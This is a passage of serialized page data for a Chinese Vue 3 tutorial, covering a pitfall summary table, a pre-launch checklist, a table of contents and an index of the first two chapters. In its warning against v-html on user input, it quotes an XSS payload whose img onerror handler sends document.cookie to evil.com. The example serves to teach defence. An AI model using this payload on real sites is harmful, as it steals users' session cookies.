类型错误、模板语法错误只在构建期暴露，别把「dev 能跑」当成「能上线」。",[119,18718,18720],{"id":18719},"附新项目起手清单","附：新项目起手清单",[53,18722,18723,18732],{},[56,18724,18725],{},[59,18726,18727,18730],{},[62,18728,18729],{},"项目",[62,18731,7760],{},[72,18733,18734,18744,18766,18777,18794,18805,18819,18833],{},[59,18735,18736,18739],{},[77,18737,18738],{},"创建",[77,18740,18741,18743],{},[22,18742,99],{},"，Router \u002F Pinia 按需勾选",[59,18745,18746,18749],{},[77,18747,18748],{},"目录",[77,18750,18751,18754,18755,18758,18759,18761,18762,18765],{},[22,18752,18753],{},"views\u002F"," 页面、",[22,18756,18757],{},"components\u002F"," 复用件、",[22,18760,12322],{}," 逻辑、",[22,18763,18764],{},"stores\u002F"," 全局状态",[59,18767,18768,18770],{},[77,18769,6431],{},[77,18771,18772,15030,18774,18776],{},[22,18773,2849],{},[22,18775,1339],{},"（脚手架已配）",[59,18778,18779,18782],{},[77,18780,18781],{},"请求",[77,18783,18784,1452,18787,18790,18791,12341],{},[22,18785,18786],{},"axios",[22,18788,18789],{},"fetch"," 封装一层，baseURL 从 ",[22,18792,18793],{},"import.meta.env",[59,18795,18796,18799],{},[77,18797,18798],{},"校验",[77,18800,18801,18802],{},"ESLint + Prettier（脚手架选上），提交前 ",[22,18803,18804],{},"--fix",[59,18806,18807,18810],{},[77,18808,18809],{},"类型",[77,18811,18812,18813,18815,18816],{},"先 ",[22,18814,449],{}," + JSDoc，重要模块逐步换 ",[22,18817,18818],{},"ts",[59,18820,18821,18824],{},[77,18822,18823],{},"部署",[77,18825,18826,18827,18829,18830],{},"子路径记得 ",[22,18828,15306],{},"；history 路由记得 ",[22,18831,18832],{},"try_files",[59,18834,18835,18838],{},[77,18836,18837],{},"上线前",[77,18839,18840,18842],{},[22,18841,18325],{}," 全点一遍 + Devtools 看警告",[35,18844,18846],{"id":18845},"十九收尾vue-3-的坑汇总与下一步","十九、收尾：Vue 3 的坑汇总与下一步",[10,18848,18849],{},"各章的「⚠️ 本章的坑」收进一张表，按「症状」来查最省事——因为你多半是在页面上看到一个怪现象才想起翻教程的。",[119,18851,18852],{"id":18852},"按症状找原因",[53,18854,18855,18868],{},[56,18856,18857],{},[59,18858,18859,18862,18865],{},[62,18860,18861],{},"症状",[62,18863,18864],{},"最可能的原因",[62,18866,18867],{},"详见",[72,18869,18870,18884,18900,18914,18928,18939,18952,18965,18981,19001,19019,19033,19050,19065,19082],{},[59,18871,18872,18878,18881],{},[77,18873,18874,18875],{},"页面空白、控制台报 ",[22,18876,18877],{},"Failed to mount app",[77,18879,18880],{},"挂载目标不存在 \u002F 脚本比容器先执行",[77,18882,18883],{},"一",[59,18885,18886,18891,18897],{},[77,18887,18888,18889],{},"组件明明 import 了却 ",[22,18890,920],{},[77,18892,18893,18894,18896],{},"路径大小写不对、忘 ",[22,18895,28],{}," 后缀、in-DOM 标签名大小写",[77,18898,18899],{},"二、八、十八",[59,18901,18902,18908,18911],{},[77,18903,18904,18907],{},[22,18905,18906],{},"{{ count }}"," 显示成字面量",[77,18909,18910],{},"没挂载 \u002F 挂错元素 \u002F in-DOM 模板被 v-pre 跳过",[77,18912,18913],{},"一、二",[59,18915,18916,18919,18925],{},[77,18917,18918],{},"数据变了界面不动",[77,18920,18921,18922,18924],{},"解构了 reactive\u002Fstore、忘了 ",[22,18923,3256],{},"、provide 传了原始值、index 当 key 后组件被复用",[77,18926,18927],{},"四、十一、十三、十五",[59,18929,18930,18933,18936],{},[77,18931,18932],{},"改 props 出现红色警告",[77,18934,18935],{},"违反单向数据流：改成 emit 或本地副本",[77,18937,18938],{},"九",[59,18940,18941,18944,18949],{},[77,18942,18943],{},"checkbox \u002F 输入框状态串行",[77,18945,18946,18948],{},[22,18947,10690],{}," 用了 index 或缺失",[77,18950,18951],{},"十一",[59,18953,18954,18957,18963],{},[77,18955,18956],{},"点一次触发两次",[77,18958,18959,18960,18962],{},"组件未声明 ",[22,18961,8377],{},"，事件透传到根 DOM",[77,18964,18938],{},[59,18966,18967,18970,18978],{},[77,18968,18969],{},"表单一点就整页刷新",[77,18971,18972,18973,18975,18976],{},"辅助按钮没写 ",[22,18974,6290],{}," 或 submit 没 ",[22,18977,2985],{},[77,18979,18980],{},"六",[59,18982,18983,18986,18998],{},[77,18984,18985],{},"动画没效果",[77,18987,18988,18990,18991,422,18994,18997],{},[22,18989,13164],{}," 类名缺 ",[22,18992,18993],{},"-enter-from",[22,18995,18996],{},"-leave-to","，或多根组件",[77,18999,19000],{},"七、十四",[59,19002,19003,19006,19016],{},[77,19004,19005],{},"tab 切回来数据不刷新",[77,19007,19008,19010,19011,19013,19014],{},[22,19009,11289],{}," 下 ",[22,19012,608],{}," 只跑一次，逻辑要放 ",[22,19015,11503],{},[77,19017,19018],{},"十四",[59,19020,19021,19024,19030],{},[77,19022,19023],{},"切换路由后还在轮询",[77,19025,19026,19027,19029],{},"忘记 ",[22,19028,10877],{}," 清理定时器\u002F监听",[77,19031,19032],{},"十二",[59,19034,19035,19038,19047],{},[77,19036,19037],{},"刷新子页面 404",[77,19039,19040,19041,19043,19044,19046],{},"history 模式缺 ",[22,19042,18832],{}," fallback，或 ",[22,19045,15306],{}," 不一致",[77,19048,19049],{},"十六、十八",[59,19051,19052,19055,19062],{},[77,19053,19054],{},"上线后没警告、线下才发现错",[77,19056,19057,19058,19061],{},"生产构建剥掉校验；用开发版 + ",[22,19059,19060],{},"preview"," 走一遍",[77,19063,19064],{},"十八",[59,19066,19067,19070,19080],{},[77,19068,19069],{},"dev 好好的，build 后资源 404",[77,19071,19072,19073,19075,19076,19079],{},"子路径部署忘配 ",[22,19074,15306],{},"（与 Nuxt 的 ",[22,19077,19078],{},"app.baseURL"," 同一类坑）",[77,19081,19064],{},[59,19083,19084,19089,19095],{},[77,19085,19086,19087],{},"环境变量读到 ",[22,19088,1734],{},[77,19090,19091,19092,19094],{},"缺 ",[22,19093,18093],{}," 前缀",[77,19096,19064],{},[119,19098,19099],{"id":19099},"上线前核对清单",[53,19101,19102,19110],{},[56,19103,19104],{},[59,19105,19106,19108],{},[62,19107,6304],{},[62,19109,17489],{},[72,19111,19112,19128,19144,19154,19170,19178,19191,19209],{},[59,19113,19114,19117],{},[77,19115,19116],{},"模板",[77,19118,19119,19120,19122,19123,870,19125,19127],{},"所有 ",[22,19121,2650],{}," 有稳定 ",[22,19124,10690],{},[22,19126,1104],{}," 只用于可信内容；模板表达式都是「表达式」",[59,19129,19130,19133],{},[77,19131,19132],{},"响应式",[77,19134,19135,19136,19138,19139,19141,19142],{},"没有 reactive\u002Fprops\u002Fstore 的直接解构；",[22,19137,246],{}," 读写都带 ",[22,19140,3256],{},"；大列表用 ",[22,19143,3479],{},[59,19145,19146,19148],{},[77,19147,11212],{},[77,19149,19150,19151,19153],{},"props\u002Femits 有类型声明；不直接改 props；多根组件处理了 attrs；暴露面用 ",[22,19152,9017],{}," 收窄",[59,19155,19156,19158],{},[77,19157,18451],{},[77,19159,19160,19161,422,19164,422,19167,19169],{},"每个 ",[22,19162,19163],{},"addEventListener",[22,19165,19166],{},"setInterval",[22,19168,3720],{},"（手动创建）都能在卸载钩子里找到对应清理",[59,19171,19172,19175],{},[77,19173,19174],{},"状态",[77,19176,19177],{},"进入 Pinia 的只有跨页面数据；持久化字段最小且带兜底；无循环引用",[59,19179,19180,19183],{},[77,19181,19182],{},"路由",[77,19184,19185,19187,19188,19190],{},[22,19186,15159],{}," 权限字段与守卫配套；异步守卫有失败分支；404 兜底在最后；base 与构建 ",[22,19189,15306],{}," 一致",[59,19192,19193,19196],{},[77,19194,19195],{},"构建部署",[77,19197,19198,19200,19201,1442,19203,19205,19206,19208],{},[22,19199,18325],{}," 全部路由点过；",[22,19202,15306],{},[22,19204,18832],{},"、CDN 路径核对；",[22,19207,18202],{}," 未入库且无密钥",[59,19210,19211,19214],{},[77,19212,19213],{},"可访问性",[77,19215,19216,19217,19219,19220,19222,19223,19226],{},"表单有 ",[22,19218,6041],{},"；纯图标按钮有 ",[22,19221,17575],{},"；焦点可见；",[22,19224,19225],{},"role"," 用词准确",[119,19228,19229],{"id":19229},"下一步往哪走",[10,19231,19232],{},"按性价比排序：",[3244,19234,19235,19241,19250,19256,19265],{},[1380,19236,19237,19240],{},[17,19238,19239],{},"Nuxt（本站姊妹篇《Nuxt 教程》）","：把这门课的语法搬进「有服务端、有 SEO、能直出首屏」的工程外壳。你在这里学的响应式、组件、Pinia、路由，Nuxt 全都自动导入，重点变成「数据什么时候在服务端取、什么时候在客户端取」。",[1380,19242,19243,19249],{},[17,19244,19245,19246],{},"TypeScript + ",[22,19247,19248],{},"vue-tsc","：把 props、store、API 返回类型钉死，重构时不再靠胆量。",[1380,19251,19252,19255],{},[17,19253,19254],{},"测试","：Vitest + Vue Test Utils 测组件行为，Playwright\u002FCypress 测关键流程（登录、下单）。",[1380,19257,19258,19261,19262,19264],{},[17,19259,19260],{},"生态里绕不开的几件","：UI 库（Element Plus \u002F Naive UI \u002F shadcn-vue）、数据请求（TanStack Query 或 Nuxt 的 ",[22,19263,14209],{},"）、表格与图表（vxe-table、ECharts）、表单校验（VeeValidate \u002F zod）。",[1380,19266,19267,19270],{},[17,19268,19269],{},"原理补两页","：官方文档的「深入响应式系统」和「编译优化（静态提升、patch flags）」——不必通读，但看懂这两节能解释「为什么要用 computed」「为什么 key 重要」。",[10,19272,19273,19274,19277],{},"Vue 的核心其实一直只有那句话：",[17,19275,19276],{},"把界面写成数据的函数，剩下的交给框架。"," 语法、组件、路由、store 都是为了让你把这句话执行得整齐一些。愿你下次「数据变了界面不动」时，三秒内就想到是解构还是 key 的锅。",[2692,19279,19280],{},"html pre.shiki code .s95oV, html code.shiki .s95oV{--shiki-default:#E1E4E8}html pre.shiki code .s4JwU, html code.shiki .s4JwU{--shiki-default:#85E89D}html pre.shiki code .svObZ, html code.shiki .svObZ{--shiki-default:#B392F0}html pre.shiki code .sU2Wk, html code.shiki .sU2Wk{--shiki-default:#9ECBFF}html pre.shiki code .snl16, html code.shiki .snl16{--shiki-default:#F97583}html pre.shiki code .sDLfK, html code.shiki .sDLfK{--shiki-default:#79B8FF}html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html pre.shiki code .sAwPA, html code.shiki .sAwPA{--shiki-default:#6A737D}html pre.shiki code .s9osk, html code.shiki .s9osk{--shiki-default:#FFAB70}html pre.shiki code .s6RL2, html code.shiki .s6RL2{--shiki-default:#FDAEB7;--shiki-default-font-style:italic}",{"title":132,"searchDepth":169,"depth":169,"links":19282},[19283,19291,19301,19309,19317,19325,19335,19342,19350,19360,19368,19376,19384,19390,19401,19407,19415,19422,19434],{"id":37,"depth":169,"text":38,"children":19284},[19285,19286,19287,19289,19290],{"id":121,"depth":176,"text":122},{"id":414,"depth":176,"text":415},{"id":630,"depth":176,"text":19288},"挂载：createApp 与 mount 的关系",{"id":815,"depth":176,"text":816},{"id":952,"depth":176,"text":953},{"id":1083,"depth":169,"text":1084,"children":19292},[19293,19295,19297,19298,19299,19300],{"id":1097,"depth":176,"text":19294},"插值：{{ }} 是转义的，v-html 不是",{"id":1251,"depth":176,"text":19296},"动态属性：v-bind 与它的缩写 :",{"id":1428,"depth":176,"text":1429},{"id":1516,"depth":176,"text":1516},{"id":1659,"depth":176,"text":816},{"id":1784,"depth":176,"text":1785},{"id":2017,"depth":169,"text":2018,"children":19302},[19303,19305,19306,19307,19308],{"id":2081,"depth":176,"text":19304},"条件：v-if 与 v-show 选哪个",{"id":2184,"depth":176,"text":2185},{"id":2454,"depth":176,"text":2455},{"id":2626,"depth":176,"text":816},{"id":2756,"depth":176,"text":2757},{"id":3081,"depth":169,"text":3082,"children":19310},[19311,19312,19313,19315,19316],{"id":3103,"depth":176,"text":3104},{"id":3333,"depth":176,"text":3334},{"id":3475,"depth":176,"text":19314},"局部跳过响应式：shallowRef、shallowReactive、markRaw、toRaw",{"id":3655,"depth":176,"text":816},{"id":3794,"depth":176,"text":3795},{"id":4005,"depth":169,"text":4006,"children":19318},[19319,19320,19321,19322,19323,19324],{"id":4024,"depth":176,"text":4025},{"id":4236,"depth":176,"text":4237},{"id":4359,"depth":176,"text":4360},{"id":4632,"depth":176,"text":4633},{"id":4742,"depth":176,"text":816},{"id":4897,"depth":176,"text":4898},{"id":5067,"depth":169,"text":5068,"children":19326},[19327,19329,19331,19332,19333,19334],{"id":5083,"depth":176,"text":19328},"事件：@click 后面能写什么",{"id":5267,"depth":176,"text":19330},"修饰符：省掉那些 e.stopPropagation()",{"id":5461,"depth":176,"text":5462},{"id":5727,"depth":176,"text":5728},{"id":6131,"depth":176,"text":816},{"id":6294,"depth":176,"text":6295},{"id":6461,"depth":169,"text":6462,"children":19336},[19337,19338,19339,19340,19341],{"id":6468,"depth":176,"text":6469},{"id":6633,"depth":176,"text":6634},{"id":6778,"depth":176,"text":6779},{"id":6858,"depth":176,"text":816},{"id":6993,"depth":176,"text":6994},{"id":7093,"depth":169,"text":7094,"children":19343},[19344,19345,19346,19347,19348,19349],{"id":7104,"depth":176,"text":7104},{"id":7250,"depth":176,"text":7251},{"id":7335,"depth":176,"text":7335},{"id":7563,"depth":176,"text":7563},{"id":7632,"depth":176,"text":816},{"id":7747,"depth":176,"text":7748},{"id":7825,"depth":169,"text":7826,"children":19351},[19352,19353,19354,19355,19356,19358,19359],{"id":7836,"depth":176,"text":7837},{"id":8076,"depth":176,"text":8077},{"id":8199,"depth":176,"text":8200},{"id":8391,"depth":176,"text":8392},{"id":8664,"depth":176,"text":19357},"兜底透传：$attrs",{"id":8755,"depth":176,"text":816},{"id":8919,"depth":176,"text":8920},{"id":9035,"depth":169,"text":9036,"children":19361},[19362,19363,19364,19366,19367],{"id":9042,"depth":176,"text":9042},{"id":9256,"depth":176,"text":9257},{"id":9515,"depth":176,"text":19365},"动态插槽名与 v-slot 全貌",{"id":9607,"depth":176,"text":816},{"id":9688,"depth":176,"text":9689},{"id":9827,"depth":169,"text":9828,"children":19369},[19370,19371,19372,19373,19374,19375],{"id":9839,"depth":176,"text":9839},{"id":10106,"depth":176,"text":10107},{"id":10147,"depth":176,"text":10148},{"id":10392,"depth":176,"text":10392},{"id":10491,"depth":176,"text":816},{"id":10599,"depth":176,"text":10600},{"id":10704,"depth":169,"text":10705,"children":19377},[19378,19379,19381,19382,19383],{"id":10714,"depth":176,"text":10714},{"id":10948,"depth":176,"text":19380},"DOM 是异步更新的：nextTick",{"id":11041,"depth":176,"text":11042},{"id":11243,"depth":176,"text":816},{"id":11370,"depth":176,"text":11371},{"id":11517,"depth":169,"text":11518,"children":19385},[19386,19387,19388,19389],{"id":11524,"depth":176,"text":11525},{"id":11828,"depth":176,"text":11829},{"id":12364,"depth":176,"text":816},{"id":12471,"depth":176,"text":12472},{"id":12563,"depth":169,"text":12564,"children":19391},[19392,19394,19395,19397,19399,19400],{"id":12570,"depth":176,"text":19393},"动态组件：\u003Ccomponent :is>",{"id":12759,"depth":176,"text":12760},{"id":12892,"depth":176,"text":19396},"异步组件与 Suspense",{"id":12997,"depth":176,"text":19398},"defineExpose：\u003Cscript setup> 默认是封闭的",{"id":13113,"depth":176,"text":816},{"id":13226,"depth":176,"text":13227},{"id":13313,"depth":169,"text":13314,"children":19402},[19403,19404,19405,19406],{"id":13327,"depth":176,"text":13327},{"id":13904,"depth":176,"text":13905},{"id":14029,"depth":176,"text":816},{"id":14143,"depth":176,"text":14144},{"id":14221,"depth":169,"text":14222,"children":19408},[19409,19410,19411,19412,19413,19414],{"id":14232,"depth":176,"text":14232},{"id":14760,"depth":176,"text":14761},{"id":14844,"depth":176,"text":14844},{"id":15051,"depth":176,"text":15052},{"id":15283,"depth":176,"text":816},{"id":15443,"depth":176,"text":15444},{"id":15642,"depth":169,"text":15643,"children":19416},[19417,19418,19419,19420,19421],{"id":15649,"depth":176,"text":15650},{"id":15710,"depth":176,"text":15711},{"id":16461,"depth":176,"text":16462},{"id":17212,"depth":176,"text":17213},{"id":17480,"depth":176,"text":17480},{"id":17610,"depth":169,"text":17611,"children":19423},[19424,19425,19426,19427,19429,19430,19431,19432,19433],{"id":17624,"depth":176,"text":17625},{"id":17751,"depth":176,"text":17751},{"id":17895,"depth":176,"text":17896},{"id":18089,"depth":176,"text":19428},"环境变量：只有 VITE_ 开头的才会进前端",{"id":18220,"depth":176,"text":18221},{"id":18269,"depth":176,"text":18269},{"id":18344,"depth":176,"text":18345},{"id":18600,"depth":176,"text":816},{"id":18719,"depth":176,"text":18720},{"id":18845,"depth":169,"text":18846,"children":19435},[19436,19437,19438],{"id":18852,"depth":176,"text":18852},{"id":19099,"depth":176,"text":19099},{"id":19229,"depth":176,"text":19229},"vue3","\u002Fimg\u002Fvue3-cover.svg","2026-10-16","零基础入门 Vue 3：模板语法、响应式、组件、插槽、生命周期、Pinia 与 Vue Router，19 章循序渐进，每章配可运行示例，末章汇总常见坑。","md",{},"\u002Ftutorials\u002Fvue3",{"title":5,"description":19442},{"loc":19445},"tutorials\u002Fvue3","3MbC8y6EV8o8lSsVbowsH61wWOMdo_TRltOZLiJBilQ",[19451,19454,19458,19462,19466,19470,19474,19478,19482,19486,19490,19494,19498,19502,19506,19510,19514,19518,19522,19526,19530,19534,19538,19542,19546,19550,19554,19558,19562,19566,19570,19574,19578,19582,19586,19590,19594,19598,19602,19606,19610,19613,19617,19621,19625,19629,19633,19637,19641,19645,19649,19653,19657,19661,19665,19669,19673,19677,19681,19685,19689,19693,19696,19700,19704,19708,19712,19716,19720,19724,19728,19732,19736,19740,19744,19748,19752,19756,19760,19764,19768,19771,19775,19779,19783,19787,19790,19794,19798,19802,19806,19810,19814,19818,19822,19826,19830,19834,19838,19842,19846,19850,19854,19858,19862,19865,19869,19873,19877,19881,19885,19889,19893,19897,19901,19905,19909,19913,19917,19921,19925,19928,19932,19936],{"id":19445,"title":5,"titles":19452,"content":19453,"level":139},[],"零基础入门 Vue 3：模板语法、响应式、组件、插槽、生命周期、Pinia 与 Vue Router，19 章循序渐进，每章配可运行示例，末章汇总常见坑。 这门课的顺序是「先能跑，再讲透」：第一到第七章过完模板与响应式这些语法地基，第八到第十一章讲组件之间怎么配合，第十二到第十四章处理生命周期与逻辑复用，第十五、十六章把状态和路由接上，第十七章做一个完整的待办清单，最后两章回到工程化与坑的汇总。每一章结尾都有「⚠️ 本章的坑」和速查表，日后当参考书查就直接翻这两块。 关于版本：本教程基于 Vue 3.5（示例里的运行时是 3.5.43）。页面里的示例用的是「不带构建工具」的引入方式（一个 \u003Cscript> 标签 + 模板字符串），因为它能直接在浏览器里跑起来；实际项目里写的是单文件组件（.vue），两者的对应关系在第十八章专门列了一张表。语法本身是同一套，只是挂载方式不同。",{"id":19455,"title":38,"titles":19456,"content":19457,"level":169},"\u002Ftutorials\u002Fvue3#一vue-是什么从手动改-dom-到声明式渲染",[5],"写页面时最累的不是画布局，而是「数据变了要记得改界面」。手动改 DOM 的写法，数据和界面是两份东西，改一处漏一处，界面就和真实状态对不上了。 Vue 解决的就是这件事：你只描述「界面在给定数据下应该长什么样」，数据一变，Vue 自己算出该改哪几个节点。响应式 + 模板这两件事合起来就是 Vue 的全部核心，后面的组件、路由、状态管理都是在此基础上做组织。 它自称「渐进式框架」，意思是你可以只借用其中一小块： 用法 引入方式 适合 在已有 HTML 里增强 一个 \u003Cscript> 标签引入全局构建，页面里直接写模板 后台管理页的某个表单、老项目加个交互组件 单文件组件（最常见） Vite + npm create vue@latest，代码写在 .vue 文件里 独立的前端项目 全栈框架 Nuxt（本项目的姊妹篇教程） 需要 SEO、首屏速度、服务端渲染的站点",{"id":19459,"title":122,"titles":19460,"content":19461,"level":176},"\u002Ftutorials\u002Fvue3#第一个例子三种写法对照",[5,38],"浏览器里跑起来的最小写法，页面里先放一个容器，再挂一个应用： \u003Cdiv id=\"app\">{{ message }}\u003C\u002Fdiv>\n\n\u003Cscript src=\"https:\u002F\u002Funpkg.com\u002Fvue@3\u002Fdist\u002Fvue.global.js\">\u003C\u002Fscript>\n\u003Cscript>\n  Vue.createApp({\n    setup() {\n      const message = Vue.ref('你好，Vue')\n      return { message }\n    }\n  }).mount('#app')\n\u003C\u002Fscript> 同一个例子写成单文件组件（.vue），就是实际项目里的样子： \u003Cscript setup>\nimport { ref } from 'vue'\nconst message = ref('你好，Vue')\n\u003C\u002Fscript>\n\n\u003Ctemplate>\n  \u003Cdiv>{{ message }}\u003C\u002Fdiv>\n\u003C\u002Ftemplate> 除了 import 和 \u003Ctemplate> 标签，逻辑完全一样：还是 ref、还是那个变量名。初学时网上会看到两种不同的代码风格，别慌，它们是同一个东西的两种外衣。",{"id":19463,"title":415,"titles":19464,"content":19465,"level":176},"\u002Ftutorials\u002Fvue3#组合式-api-与选项式-api",[5,38],"Vue 2 时代只有「选项式」：把代码按 data \u002F methods \u002F computed \u002F mounted 这些选项塞进一个大对象。Vue 3 新增了「组合式」（Composition API）：在 setup()（或 \u003Cscript setup>）里按功能组织代码，一个功能的响应式数据、计算属性、副作用写在一起。 \u002F\u002F 选项式：同一个功能的代码被拆到三个选项里\nexport default {\n  data() { return { count: 0 } },\n  computed: { double() { return this.count * 2 } },\n  mounted() { console.log(this.count) }\n}\n\n\u002F\u002F 组合式：一个功能从头到尾连着写\nimport { ref, computed, onMounted } from 'vue'\nconst count = ref(0)\nconst double = computed(() => count.value * 2)\nonMounted(() => console.log(count.value)) 本教程以组合式为主线（新项目、Nuxt、官方文档示例都是它），每章末尾会给出选项式的对应写法，读懂老代码也够用。两者可以混用，但一个组件里最好只用一种。",{"id":19467,"title":19288,"titles":19468,"content":19469,"level":176},"\u002Ftutorials\u002Fvue3#挂载createapp-与-mount-的关系",[5,38],"const app = Vue.createApp(RootComponent)   \u002F\u002F 创建应用实例，此时什么都还没渲染\napp.component('MyBadge', MyBadge)          \u002F\u002F 全局注册组件\napp.directive('focus', { mounted: (el) => el.focus() })\napp.config.errorHandler = (err) => console.error(err)\napp.mount('#app')                          \u002F\u002F 到这里才真的往 DOM 里画\napp.unmount()                              \u002F\u002F 卸载（对应 DOM 被清空） 三个容易忽略的点：mount 之前页面里的 {{ message }} 是原样显示的（模板还没被编译）；一个页面可以有多个互不相干的 createApp 实例；app.component 之类的注册必须在 mount 之前完成。 示例 01 左右两栏是同一个计数：左边点「+1（忘了同步）」，数据变了界面不动——这就是没有框架时的日常；右边只改数据，界面里的数字和那句 v-if 的话自己冒出来。",{"id":19471,"title":816,"titles":19472,"content":19473,"level":176},"\u002Ftutorials\u002Fvue3#️-本章的坑",[5,38],"1. 挂载目标必须先存在于 DOM。 mount('#app') 时页面里没有 id=\"app\"，Vue 直接报 Failed to mount app: mount target not found。脚本放在 \u003Chead> 里、或者放在容器元素之前，都会撞上。把脚本放在 \u003C\u002Fbody> 前，或给 \u003Cscript> 加 defer。 2. 浏览器里写 in-DOM 模板，标签名和属性名会被转成小写。 \u003CUserCard userName=\"a\"> 在 HTML 里会被解析成 usercard + username，组件找不到、props 收不到。浏览器里请写 kebab-case：\u003Cuser-card user-name=\"a\">；.vue 文件里没这个限制（这也是示例用模板字符串的原因）。 3. {{ }} 会先在页面上闪一下。 因为 HTML 已经渲染、Vue 还没挂载。用 v-cloak + [v-cloak]{display:none}，或者把脚本放前面。 4. 引入 vue.global.js（开发版）和 vue.global.prod.js（生产版）差别很大。 类型警告、性能提示只有开发版会打印；生产版为了体积把这些都剥掉了。学习阶段一律用开发版，别把「没报错」当成「没写错」。 5. 多个 createApp 之间不共享注册。 在 app1 上 component() 注册过的组件，app2 里用不了，会报 Unknown custom element。需要共享就用插件（app.use()）或干脆只有一个根应用。 6. setup() 里不能用 this。 组合式在 this 绑定之前执行；\u003Cscript setup> 更是根本没有 this。要从选项式转过来，把 this.xxx 全换成局部变量。",{"id":19475,"title":953,"titles":19476,"content":19477,"level":176},"\u002Ftutorials\u002Fvue3#附两套-api-风格对照速查",[5,38],"要做的事 组合式（本教程用法） 选项式（老代码里常见） 声明响应式数据 const n = ref(0) data() { return { n: 0 } } 计算属性 const d = computed(() => n.value * 2) computed: { d() { return this.n * 2 } } 监听 watch(n, cb) watch: { n: cb } 挂载后执行 onMounted(cb) mounted() {} 卸载前清理 onBeforeUnmount(cb) beforeUnmount() {} 方法 普通函数 function add() {} methods: { add() {} } 注册组件 import X from '.\u002FX.vue'（\u003Cscript setup> 自动可用） components: { X }",{"id":19479,"title":1084,"titles":19480,"content":19481,"level":169},"\u002Ftutorials\u002Fvue3#二模板语法插值动态属性与表达式的边界",[5],"模板 = HTML + 两样东西：{{ }} 插值 和 v-xxx 指令。它不是「在 HTML 里写 JS」，能放的位置和能写的表达式都有边界，越界要么编译失败，要么行为和你预期相反。",{"id":19483,"title":19294,"titles":19484,"content":19485,"level":176},"\u002Ftutorials\u002Fvue3#插值-是转义的v-html-不是",[5,1084],"\u003Ctemplate>\n  \u003Cp>{{ msg }}\u003C\u002Fp>                          \u003C!-- 内容是字符串就原样显示，HTML 标签被转义 -->\n  \u003Cp v-html=\"msg\">\u003C\u002Fp>                      \u003C!-- 内容被当成 HTML 解析 -->\n  \u003Cp>{{ count + 1 }}\u003C\u002Fp>                    \u003C!-- 表达式 -->\n  \u003Cp>{{ ok ? '可用' : '禁用' }}\u003C\u002Fp>          \u003C!-- 三元 -->\n  \u003Cp>{{ list.length }}\u003C\u002Fp>                   \u003C!-- 属性访问 -->\n  \u003Cp>{{ msg.split('').reverse().join('') }}\u003C\u002Fp>  \u003C!-- 方法调用链 -->\n\u003C\u002Ftemplate> 一条铁律：v-html 永远不要用在用户输入上。它不做转义，用户贴一段 \u003Cimg src=x onerror=\"fetch('\u002F\u002Fevil.com?c='+document.cookie)\"> 就在你的页面里执行了（XSS）。要做富文本渲染，先把内容净化（DOMPurify 一类），或者只显示纯文本。",{"id":19487,"title":19296,"titles":19488,"content":19489,"level":176},"\u002Ftutorials\u002Fvue3#动态属性v-bind-与它的缩写",[5,1084],"给属性绑定值必须加 v-bind，否则拿到的是字符串字面量： \u003Ca :href=\"url\">链接\u003C\u002Fa>          \u003C!-- url 变量的值 -->\n\u003Ca href=\"url\">链接\u003C\u002Fa>           \u003C!-- 字符串 \"url\"，十有八九是 bug -->\n\u003Cimg :src=\"src\" :alt=\"alt\">\n\u003Cinput :value=\"text\" :disabled=\"isLoading\">\n\u003Cdiv :id=\"domId\" :data-index=\"i\"> 三个细节值得记住： 布尔属性用 :disabled=\"false\" 才会真的移除该属性；写 disabled=\"false\" 反而等于启用（HTML 里有这个属性就是真）。 动态属性名用方括号：:[attrName]=\"value\"，attrName 里放变量。 一次性绑多个属性：v-bind=\"{ a: 1, b: 2 }\" 或直接 v-bind=\"obj\"，组件里常用于把 $attrs 透传下去。",{"id":19491,"title":1429,"titles":19492,"content":19493,"level":176},"\u002Ftutorials\u002Fvue3#能写表达式不能写语句",[5,1084],"{{ }} 和指令的值位置只接受表达式（能算出一个值的东西）。if、for、while、var\u002Flet 声明、多条语句用分号串起来，这些都不行： \u003Cp>{{ if (a) { 'x' } }}\u003C\u002Fp>       ✗ 语句，编译报错\n\u003Cp>{{ a > 1 ? 'x' : 'y' }}\u003C\u002Fp>    ✓ 三元表达式\n\u003Cp>{{ list.filter(x => x.ok) }}\u003C\u002Fp>   ✓ 但要短，长了就挪进 computed 判断标准很简单：写两行以上逻辑、或者要用到别的响应式变量的中间结果，就别塞在模板里，挪去 computed（第五章）。模板里堆长表达式，日后没人愿意读，也无法单测。",{"id":19495,"title":1516,"titles":19496,"content":19497,"level":176},"\u002Ftutorials\u002Fvue3#表达式里能直接用什么",[5,1084],"模板表达式在一个受限的沙箱里执行。可以直接用的有：组件自身 setup 返回的变量、Math、Date、JSON、parseInt、parseFloat 等一小撮全局白名单，以及全局属性（app.config.globalProperties）。 不能直接用的：import、require、process、localStorage、你自己的工具函数。想用工具函数有两种路子——import 进来再 return（或 \u003Cscript setup> 里直接 import 就可用），或者封装成全局属性\u002F组合式函数。 \u003Cscript setup>\nimport { formatDate } from '@\u002Futils\u002Fdate'   \u002F\u002F \u003Cscript setup> 里 import 完模板就能用\n\u003C\u002Fscript>\n\u003Ctemplate>\n  \u003Cspan>{{ formatDate(created) }}\u003C\u002Fspan>\n\u003C\u002Ftemplate> Vue 2 的过滤器语法 {{ price | currency }} 在 Vue 3 里已删除，替代品就是 computed 或方法调用。接手老代码时全局搜 | 插值是最快的一刀。",{"id":19499,"title":816,"titles":19500,"content":19501,"level":176},"\u002Ftutorials\u002Fvue3#️-本章的坑-1",[5,1084],"1. {{ }} 里写了语句，整个组件白屏。 模板编译错误在开发版是醒目的报错，生产版可能只剩一句 Property or method ... is not defined。别靠猜，看到空白先去控制台第一行找 error compiling template。 2. 属性大小写。 :userName 在浏览器 in-DOM 模板里变成 :username，props 收不到值。模板里请统一 kebab-case。 3. 自闭合标签只在 .vue 里合法。 \u003Cuser-card \u002F> 在浏览器解析的 HTML 里会被当成「开始标签没结束」，把后面的内容全吞进它的插槽。页面里写模板时老实补上 \u003C\u002Fuser-card>。 4. v-html 里不能用插值。 内容被当作 HTML 片段处理，{{ }} 不再解析——很多人在这卡半小时。要混用就拆开写：\u003Cp>前缀 \u003Cspan v-html=\"html\">\u003C\u002Fspan>\u003C\u002Fp>。 5. :src=\"null\" 不等于「不显示」。 属性值为 null\u002Fundefined 时会被移除，但 '' 会保留成 src=\"\"，浏览器会按当前页面 URL 请求一次图片，控制台出现诡异的 404。要么 